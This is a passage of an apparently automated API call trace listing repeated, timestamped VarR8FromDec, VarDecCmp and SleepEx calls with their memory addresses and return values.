out: pdblOut=0xa0eeda4) returned 0x0 [0126.786] VarR8FromDec (in: pdecIn=0xa0eeda4, pdblOut=0xa0eed90 | out: pdblOut=0xa0eed90) returned 0x0 [0126.786] VarR8FromDec (in: pdecIn=0xa0eedb8, pdblOut=0xa0eeda4 | out: pdblOut=0xa0eeda4) returned 0x0 [0126.786] VarR8FromDec (in: pdecIn=0xa0eeda4, pdblOut=0xa0eed90 | out: pdblOut=0xa0eed90) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eec84, pdecRight=0xa0eec74) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eec84, pdecRight=0xa0eec74) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eec84, pdecRight=0xa0eec74) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eec90, pdecRight=0xa0eec80) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eec90, pdecRight=0xa0eec80) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eec84, pdecRight=0xa0eec74) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eec84, pdecRight=0xa0eec74) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eec90, pdecRight=0xa0eec80) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eecb0, pdecRight=0xa0eeca0) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eec90, pdecRight=0xa0eec80) returned 0x1 [0126.786] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x2 [0126.786] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x0 [0126.786] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x2 [0126.787] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x0 [0126.787] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x2 [0126.787] VarDecCmp (pdecLeft=0xa0eeca4, pdecRight=0xa0eec94) returned 0x1 [0126.787] VarDecCmp (pdecLeft=0xa0eec24, pdecRight=0xa0eec14) returned 0x1 [0126.787] VarDecCmp (pdecLeft=0xa0eec24, pdecRight=0xa0eec14) returned 0x1 [0126.787] VarDecCmp (pdecLeft=0xa0eec24, pdecRight=0xa0eec14) returned 0x1 [0126.787] VarDecCmp (pdecLeft=0xa0eec24, pdecRight=0xa0eec14) returned 0x1 [0127.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.169] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.169] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.176] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.176] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.182] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.182] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.183] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.183] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.184] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.184] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.184] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.185] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.185] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.185] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.186] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.186] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.187] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.187] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.187] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.191] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.193] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.194] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.194] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.196] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.196] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.198] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.198] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.198] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.830] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.846] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.848] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.872] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef110, pdblOut=0xa0ef0fc | out: pdblOut=0xa0ef0fc) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef124, pdblOut=0xa0ef110 | out: pdblOut=0xa0ef110) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef110, pdblOut=0xa0ef0fc | out: pdblOut=0xa0ef0fc) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef124, pdblOut=0xa0ef110 | out: pdblOut=0xa0ef110) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef110, pdblOut=0xa0ef0fc | out: pdblOut=0xa0ef0fc) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef124, pdblOut=0xa0ef110 | out: pdblOut=0xa0ef110) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef110, pdblOut=0xa0ef0fc | out: pdblOut=0xa0ef0fc) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef124, pdblOut=0xa0ef110 | out: pdblOut=0xa0ef110) returned 0x0 [0130.676] VarR8FromDec (in: pdecIn=0xa0ef110, pdblOut=0xa0ef0fc | out: pdblOut=0xa0ef0fc) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0eeff0, pdecRight=0xa0eefe0) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0eeff0, pdecRight=0xa0eefe0) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0eeff0, pdecRight=0xa0eefe0) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x1 [0130.676] VarDecCmp (pdecLeft=0xa0eeffc, pdecRight=0xa0eefec) returned 0x1 [0130.676] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x0 [0130.676] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x1 [0130.676] VarDecCmp (pdecLeft=0xa0eeffc, pdecRight=0xa0eefec) returned 0x1 [0130.676] VarDecCmp (pdecLeft=0xa0eefa0, pdecRight=0xa0eef90) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0eefa0, pdecRight=0xa0eef90) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0eefcc, pdecRight=0xa0eefbc) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0eefac, pdecRight=0xa0eef9c) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0eefcc, pdecRight=0xa0eefbc) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0eefcc, pdecRight=0xa0eefbc) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0eefac, pdecRight=0xa0eef9c) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0eeff0, pdecRight=0xa0eefe0) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0eeff0, pdecRight=0xa0eefe0) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0eeffc, pdecRight=0xa0eefec) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0ef01c, pdecRight=0xa0ef00c) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0eeffc, pdecRight=0xa0eefec) returned 0x1 [0130.677] VarDecCmp (pdecLeft=0xa0ef0cc, pdecRight=0xa0ef0bc) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0ef0ac, pdecRight=0xa0ef09c) returned 0x2 [0130.677] VarDecCmp (pdecLeft=0xa0ef0cc, pdecRight=0xa0ef0bc) returned 0x0 [0130.677] VarDecCmp (pdecLeft=0xa0ef0ac, pdecRight=0xa0ef09c) returned 0x2 [0130.678] VarDecCmp (pdecLeft=0xa0ef0cc, pdecRight=0xa0ef0bc) returned 0x0 [0130.678] VarDecCmp (pdecLeft=0xa0ef0ac, pdecRight=0xa0ef09c) returned 0x2 [0130.678] VarDecCmp (pdecLeft=0xa0ef0cc, pdecRight=0xa0ef0bc) returned 0x0 [0130.678] VarDecCmp (pdecLeft=0xa0ef0ac, pdecRight=0xa0ef09c) returned 0x2 [0130.678] VarDecCmp (pdecLeft=0xa0ef010, pdecRight=0xa0ef000) returned 0x1 [0130.678] VarDecCmp (pdecLeft=0xa0eef90, pdecRight=0xa0eef80) returned 0x1 [0130.678] VarDecCmp (pdecLeft=0xa0eef90, pdecRight=0xa0eef80) returned 0x1 [0130.678] VarDecCmp (pdecLeft=0xa0eef90, pdecRight=0xa0eef80) returned 0x1 [0130.678] VarDecCmp (pdecLeft=0xa0eef90, pdecRight=0xa0eef80) returned 0x1 [0130.678] VarDecCmp (pdecLeft=0xa0eef90, pdecRight=0xa0eef80) returned 0x1 [0130.981] VarR8FromDec (in: pdecIn=0xa0ef2c0, pdblOut=0xa0ef2ac | out: pdblOut=0xa0ef2ac) returned 0x0 [0130.981] VarR8FromDec (in: pdecIn=0xa0ef2d4, pdblOut=0xa0ef2c0 | out: pdblOut=0xa0ef2c0) returned 0x0 [0130.982] VarR8FromDec (in: pdecIn=0xa0ef2c0, pdblOut=0xa0ef2ac | out: pdblOut=0xa0ef2ac) returned 0x0 [0130.982] VarR8FromDec (in: pdecIn=0xa0ef2d4, pdblOut=0xa0ef2c0 | out: pdblOut=0xa0ef2c0) returned 0x0 [0130.982] VarR8FromDec (in: pdecIn=0xa0ef2c0, pdblOut=0xa0ef2ac | out: pdblOut=0xa0ef2ac) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef1a0, pdecRight=0xa0ef190) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef1a0, pdecRight=0xa0ef190) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef1a0, pdecRight=0xa0ef190) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef1cc, pdecRight=0xa0ef1bc) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef1cc, pdecRight=0xa0ef1bc) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef1ac, pdecRight=0xa0ef19c) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef1cc, pdecRight=0xa0ef1bc) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef1cc, pdecRight=0xa0ef1bc) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef1ac, pdecRight=0xa0ef19c) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef27c, pdecRight=0xa0ef26c) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef25c, pdecRight=0xa0ef24c) returned 0x2 [0130.982] VarDecCmp (pdecLeft=0xa0ef27c, pdecRight=0xa0ef26c) returned 0x0 [0130.982] VarDecCmp (pdecLeft=0xa0ef25c, pdecRight=0xa0ef24c) returned 0x2 [0130.982] VarDecCmp (pdecLeft=0xa0ef1c0, pdecRight=0xa0ef1b0) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef140, pdecRight=0xa0ef130) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef140, pdecRight=0xa0ef130) returned 0x1 [0130.982] VarDecCmp (pdecLeft=0xa0ef140, pdecRight=0xa0ef130) returned 0x1 [0130.984] VarR8FromDec (in: pdecIn=0xa0eee54, pdblOut=0xa0eee40 | out: pdblOut=0xa0eee40) returned 0x0 [0130.984] VarR8FromDec (in: pdecIn=0xa0eee68, pdblOut=0xa0eee54 | out: pdblOut=0xa0eee54) returned 0x0 [0130.984] VarR8FromDec (in: pdecIn=0xa0eee54, pdblOut=0xa0eee40 | out: pdblOut=0xa0eee40) returned 0x0 [0130.984] VarR8FromDec (in: pdecIn=0xa0eee68, pdblOut=0xa0eee54 | out: pdblOut=0xa0eee54) returned 0x0 [0130.984] VarR8FromDec (in: pdecIn=0xa0eee54, pdblOut=0xa0eee40 | out: pdblOut=0xa0eee40) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eed34, pdecRight=0xa0eed24) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eed34, pdecRight=0xa0eed24) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eed34, pdecRight=0xa0eed24) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x1 [0130.984] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0130.984] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eed60, pdecRight=0xa0eed50) returned 0x1 [0130.984] VarDecCmp (pdecLeft=0xa0eed40, pdecRight=0xa0eed30) returned 0x1 [0130.984] VarDecCmp (pdecLeft=0xa0eee10, pdecRight=0xa0eee00) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eedf0, pdecRight=0xa0eede0) returned 0x2 [0130.984] VarDecCmp (pdecLeft=0xa0eee10, pdecRight=0xa0eee00) returned 0x0 [0130.984] VarDecCmp (pdecLeft=0xa0eedf0, pdecRight=0xa0eede0) returned 0x2 [0130.984] VarDecCmp (pdecLeft=0xa0eed54, pdecRight=0xa0eed44) returned 0x1 [0130.984] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0130.984] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0130.985] VarDecCmp (pdecLeft=0xa0eecd4, pdecRight=0xa0eecc4) returned 0x1 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.985] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec64, pdblOut=0xa0eec50 | out: pdblOut=0xa0eec50) returned 0x0 [0130.986] VarR8FromDec (in: pdecIn=0xa0eec50, pdblOut=0xa0eec3c | out: pdblOut=0xa0eec3c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.986] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.986] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eea90, pdecRight=0xa0eea80) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eea90, 